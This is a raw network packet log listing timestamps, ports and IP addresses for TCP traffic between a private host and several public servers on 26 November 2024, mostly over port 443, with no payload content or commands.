Nov 26, 2024 16:31:25.504033089 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:25.504044056 CET	49746	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:25.504086971 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:25.504302025 CET	49746	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:25.504323006 CET	443	49746	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:25.504339933 CET	49746	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:25.504350901 CET	443	49746	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:25.507987022 CET	49764	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:25.508013964 CET	443	49764	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:25.508111954 CET	49764	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:25.508304119 CET	49764	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:25.508318901 CET	443	49764	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:25.509658098 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:25.509931087 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:25.510524988 CET	443	49758	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:25.510550022 CET	443	49757	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:25.511846066 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:25.511850119 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:25.512542963 CET	49757	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:25.512567997 CET	443	49757	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:25.512854099 CET	49758	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:25.512914896 CET	443	49758	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:25.513042927 CET	49757	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:25.513048887 CET	443	49757	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:25.513540030 CET	49758	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:25.513556004 CET	443	49758	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:25.513813972 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:25.513822079 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:25.514062881 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:25.514067888 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:25.514225006 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:25.514231920 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:25.514545918 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:25.514554024 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:25.832746983 CET	443	49754	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:25.832798004 CET	443	49754	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:25.832875013 CET	49754	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:25.833075047 CET	49754	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:25.833091021 CET	443	49754	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:25.833102942 CET	49754	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:25.833106995 CET	443	49754	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:25.835673094 CET	443	49753	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:25.835760117 CET	443	49753	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:25.835808992 CET	49753	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:25.835968018 CET	49753	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:25.835968018 CET	49753	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:25.835977077 CET	443	49753	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:25.835983992 CET	443	49753	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:25.836503983 CET	49766	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:25.836517096 CET	443	49766	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:25.836674929 CET	49766	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:25.836829901 CET	49766	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:25.836843967 CET	443	49766	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:25.838912964 CET	49767	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:25.838926077 CET	443	49767	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:25.839265108 CET	49767	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:25.839328051 CET	49767	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:25.839334965 CET	443	49767	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:25.900018930 CET	443	49747	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:25.900990963 CET	443	49747	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:25.901048899 CET	49747	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:25.902251005 CET	49747	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:25.902266026 CET	443	49747	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:25.916038036 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:25.916078091 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:25.916177988 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:25.916194916 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:25.918751955 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:25.918809891 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:25.918822050 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:25.919537067 CET	443	49751	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:25.919656992 CET	443	49751	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:25.919722080 CET	49751	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:25.920551062 CET	49751	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:25.920556068 CET	443	49751	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:25.929522038 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:25.929636002 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:25.929649115 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:25.930555105 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:25.930674076 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:25.930685043 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:25.947770119 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:25.947964907 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:25.947992086 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:25.973514080 CET	443	49761	20.234.120.54	192.168.2.6
Nov 26, 2024 16:31:25.973601103 CET	49761	443	192.168.2.6	20.234.120.54
Nov 26, 2024 16:31:25.995203972 CET	49761	443	192.168.2.6	20.234.120.54
Nov 26, 2024 16:31:25.995210886 CET	443	49761	20.234.120.54	192.168.2.6
Nov 26, 2024 16:31:25.997735023 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:25.997744083 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:25.998964071 CET	49761	443	192.168.2.6	20.234.120.54
Nov 26, 2024 16:31:25.998969078 CET	443	49761	20.234.120.54	192.168.2.6
Nov 26, 2024 16:31:26.042942047 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.045818090 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.067770958 CET	443	49757	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:26.067845106 CET	443	49757	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:26.067888975 CET	49757	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:26.067958117 CET	443	49758	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:26.068005085 CET	443	49758	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:26.068116903 CET	49758	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:26.068211079 CET	49757	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:26.068223953 CET	443	49757	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:26.068233013 CET	49757	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:26.068238020 CET	443	49757	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:26.068383932 CET	49758	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:26.068383932 CET	49758	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:26.068427086 CET	443	49758	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:26.068451881 CET	443	49758	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:26.071798086 CET	49768	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:26.071815968 CET	443	49768	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:26.071882010 CET	49768	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:26.072025061 CET	49769	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:26.072037935 CET	443	49769	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:26.072099924 CET	49769	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:26.072190046 CET	49768	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:26.072196960 CET	443	49768	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:26.072226048 CET	49769	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:26.072237015 CET	443	49769	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:26.089720964 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.089735031 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.125683069 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.125699997 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.125715971 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.125737906 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.125752926 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.125766039 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.125807047 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.129108906 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.129252911 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.129266024 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.130382061 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.130430937 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.130449057 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.143321037 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.143407106 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.143418074 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.144339085 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.144359112 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.144372940 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.144399881 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.144409895 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.144429922 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.144480944 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.153083086 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.153191090 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.153203011 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.161705971 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.161755085 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.161763906 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.171099901 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.171145916 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.171159029 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.178769112 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.178844929 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.178864002 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.191222906 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.191282988 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.191293001 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.204241037 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.204329967 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.204355001 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.214023113 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.214087009 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.214096069 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.245034933 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.245112896 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.245130062 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.261261940 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.261363029 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.261383057 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.308212996 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.308222055 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.320888996 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.320914030 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.320981026 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.320997000 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.321027994 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.321053028 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.330714941 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.330735922 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.330825090 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.330837965 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.330956936 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.332040071 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.332123041 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.332133055 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.336348057 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.336525917 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.336535931 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.340646029 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.340679884 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.340713978 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.340725899 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.340795994 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.344526052 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.356851101 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.356908083 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.356920958 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.368724108 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.368937969 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.368954897 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.371983051 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.372008085 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.372077942 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.372090101 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.372119904 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.372139931 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.378743887 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.378767967 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.378853083 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.378870010 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.378890991 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.378962040 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.380789042 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.380887985 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.380906105 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.392564058 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.392623901 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.392635107 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.402517080 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.402582884 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.402590990 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.412429094 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.412496090 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.412504911 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.420993090 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.421062946 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.421073914 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.431262970 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.431332111 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.431341887 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.446768999 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.447010040 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.447024107 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.456610918 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.456670046 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.456679106 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.458507061 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.458590984 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.458609104 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.466403961 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.466540098 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.466557980 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.475492001 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.475538969 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.475557089 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.486394882 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.486476898 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.486488104 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.495893002 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.495950937 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.495959997 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.499665022 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.499689102 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.499752998 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.499777079 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.499824047 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.499850988 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.500843048 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.500929117 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.500936985 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.507433891 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.507549047 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.507556915 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.510164022 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.510188103 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.510299921 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.510317087 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.510776997 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.512656927 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.512717009 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.512744904 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.530318022 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.530333996 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.530399084 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.530412912 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.530462980 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.531328917 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.531382084 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.531394005 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.534605026 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.534674883 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.534682989 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.589395046 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.589407921 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.636190891 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.697386980 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.697457075 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.697489023 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.697520971 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.697551966 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.697554111 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.697576046 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.697588921 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.697588921 CET	443	49761	20.234.120.54	192.168.2.6
Nov 26, 2024 16:31:26.697608948 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.697614908 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.697627068 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.697632074 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.697643042 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.697645903 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.697653055 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.697701931 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.697710037 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.697736979 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.697755098 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.697781086 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.697781086 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.697786093 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.697787046 CET	49761	443	192.168.2.6	20.234.120.54
Nov 26, 2024 16:31:26.697796106 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.697803974 CET	443	49761	20.234.120.54	192.168.2.6
Nov 26, 2024 16:31:26.697807074 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.697808027 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.697820902 CET	443	49761	20.234.120.54	192.168.2.6
Nov 26, 2024 16:31:26.697839022 CET	49761	443	192.168.2.6	20.234.120.54
Nov 26, 2024 16:31:26.697957039 CET	49761	443	192.168.2.6	20.234.120.54
Nov 26, 2024 16:31:26.699377060 CET	49761	443	192.168.2.6	20.234.120.54
Nov 26, 2024 16:31:26.699392080 CET	443	49761	20.234.120.54	192.168.2.6
Nov 26, 2024 16:31:26.731151104 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.731182098 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.731209040 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.731213093 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.731237888 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.731277943 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.731370926 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.731496096 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.731667042 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.731667042 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.731687069 CET	443	49752	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:26.732079983 CET	49752	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:26.748521090 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.748533010 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.748538017 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.748548985 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.748629093 CET	49760	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.748648882 CET	443	49760	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.748665094 CET	443	49759	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:26.748681068 CET	49759	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:26.748692036 CET	443	49759	150.171.27.10	192.168.2.6
